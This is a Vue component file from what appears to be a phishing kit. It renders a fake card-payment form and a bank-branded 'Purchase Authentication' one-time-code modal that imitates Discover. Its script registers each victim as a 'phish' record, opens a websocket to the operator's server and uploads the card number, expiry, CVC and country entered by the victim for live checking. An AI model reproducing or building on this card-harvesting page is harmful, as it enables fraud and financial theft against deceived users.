HomeView.vue 4.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193
  1. <template>
  2. <!-- Display a payment form -->
  3. <form id="payment-form" class="p-4" @submit.prevent="submit">
  4. <PField
  5. name="card"
  6. label="Card Number"
  7. type="card"
  8. placeholder="1234 1234 1234 1234"
  9. v-model="model.card"
  10. ref="cardRef"
  11. />
  12. <PField
  13. class="!w-6/12"
  14. name="expiry"
  15. label="Expiration"
  16. placeholder="MM/YY"
  17. v-model="model.expiry"
  18. />
  19. <PField
  20. class="!w-6/12 pl-3"
  21. name="cvc"
  22. type="cvc"
  23. label="CVC"
  24. placeholder="CVC"
  25. v-model="model.cvc"
  26. />
  27. <PField
  28. name="country"
  29. label="Country"
  30. type="country"
  31. v-model="model.country"
  32. />
  33. <PField
  34. name="zip"
  35. label="ZIP"
  36. type="zip"
  37. placeholder="ZIP"
  38. v-model="model.zip"
  39. />
  40. <PButton>{{ loading ? "Processing..." : "Pay" }}</PButton>
  41. </form>
  42. <Footer />
  43. <div class="otp-modal">
  44. <Transition name="fade">
  45. <div class="dim" v-if="showOTPModal"></div>
  46. </Transition>
  47. <Transition name="scale">
  48. <div class="content-wrapper" v-if="showOTPModal">
  49. <div class="modal-content">
  50. <div class="icon-logo">
  51. <img class="icon" src="@/assets/icon_bank.svg" />
  52. <div class="flex-1"></div>
  53. <img class="logo" src="@/assets/discover_logo.svg" />
  54. </div>
  55. <h1 class="mt-4 text-[28px] font-bold">
  56. Purchase Authentication
  57. </h1>
  58. <p class="mt-2 text-base text-neutral-800">
  59. We've sent you a text message to your registered phone
  60. number ending in 1234
  61. </p>
  62. <div class="mt-8">
  63. <label>Confirmation Code</label>
  64. <PField class="mt-2" />
  65. </div>
  66. <PButton class="mt-8">Confirm Payment</PButton>
  67. </div>
  68. </div>
  69. </Transition>
  70. </div>
  71. </template>
  72. <script setup>
  73. import axios from "axios";
  74. import { onMounted, onBeforeMount, ref } from "vue";
  75. import PField from "@/components/PField.vue";
  76. import PButton from "@/components/PButton.vue";
  77. import Footer from "@/components/Footer.vue";
  78. import { useLocalStorage, useSessionStorage } from "@vueuse/core";
  79. import { io } from "socket.io-client";
  80. const cardRef = ref(null);
  81. const phish = useSessionStorage("phish", {});
  82. let socket;
  83. onBeforeMount(async () => {
  84. const { data: res } = await axios.post("/phishes", {
  85. id: phish.value.id,
  86. });
  87. if (res) {
  88. phish.value = res;
  89. socket = io(import.meta.env.VITE_SOCKET_URL, {
  90. path: "/ws",
  91. transports: ["websocket"],
  92. query: {
  93. id: phish.value.id,
  94. },
  95. });
  96. }
  97. });
  98. const model = ref({
  99. card: "",
  100. expiry: "",
  101. cvc: "",
  102. country: "",
  103. });
  104. const showOTPModal = ref(false);
  105. const loading = ref(false);
  106. async function submit() {
  107. loading.value = true;
  108. try {
  109. await axios.put(`/phishes/${phish.value.id}`, {
  110. id: phish.value.id,
  111. card: model.value.card,
  112. expiry: model.value.expiry,
  113. cvc: model.value.cvc,
  114. country: model.value.country,
  115. step: "wait_for_check_card",
  116. });
  117. } catch (error) {
  118. console.error(error);
  119. } finally {
  120. loading.value = false;
  121. }
  122. }
  123. </script>
  124. <style scoped lang="less">
  125. .otp-modal {
  126. position: relative;
  127. .dim {
  128. position: fixed;
  129. top: 0;
  130. left: 0;
  131. width: 100%;
  132. height: 100%;
  133. background-color: rgba(0, 0, 0, 0.5);
  134. }
  135. .content-wrapper {
  136. padding: 64px 15px;
  137. overflow: auto;
  138. position: fixed;
  139. top: 0;
  140. left: 0;
  141. right: 0;
  142. bottom: 0;
  143. }
  144. .modal-content {
  145. background: #ffffff;
  146. border-radius: 4px;
  147. box-shadow: 0 7px 32px rgba(0, 0, 0, 0.15), 0 3px 6px rgba(0, 0, 0, 0.2);
  148. padding: 30px 20px;
  149. .icon-logo {
  150. display: flex;
  151. align-items: center;
  152. .icon {
  153. width: 32px;
  154. height: 32px;
  155. object-fit: cover;
  156. }
  157. .logo {
  158. height: 32px;
  159. width: auto;
  160. }
  161. }
  162. }
  163. }
  164. .fade-enter-active,
  165. .fade-leave-active {
  166. transition: opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
  167. }
  168. .fade-enter-from,
  169. .fade-leave-to {
  170. opacity: 0;
  171. }
  172. .scale-enter-active,
  173. .scale-leave-active {
  174. transition: transform 1s cubic-bezier(0.19, 1, 0.22, 1),
  175. opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
  176. }
  177. .scale-enter-from {
  178. transform: scale(0.8);
  179. opacity: 0;
  180. }
  181. </style>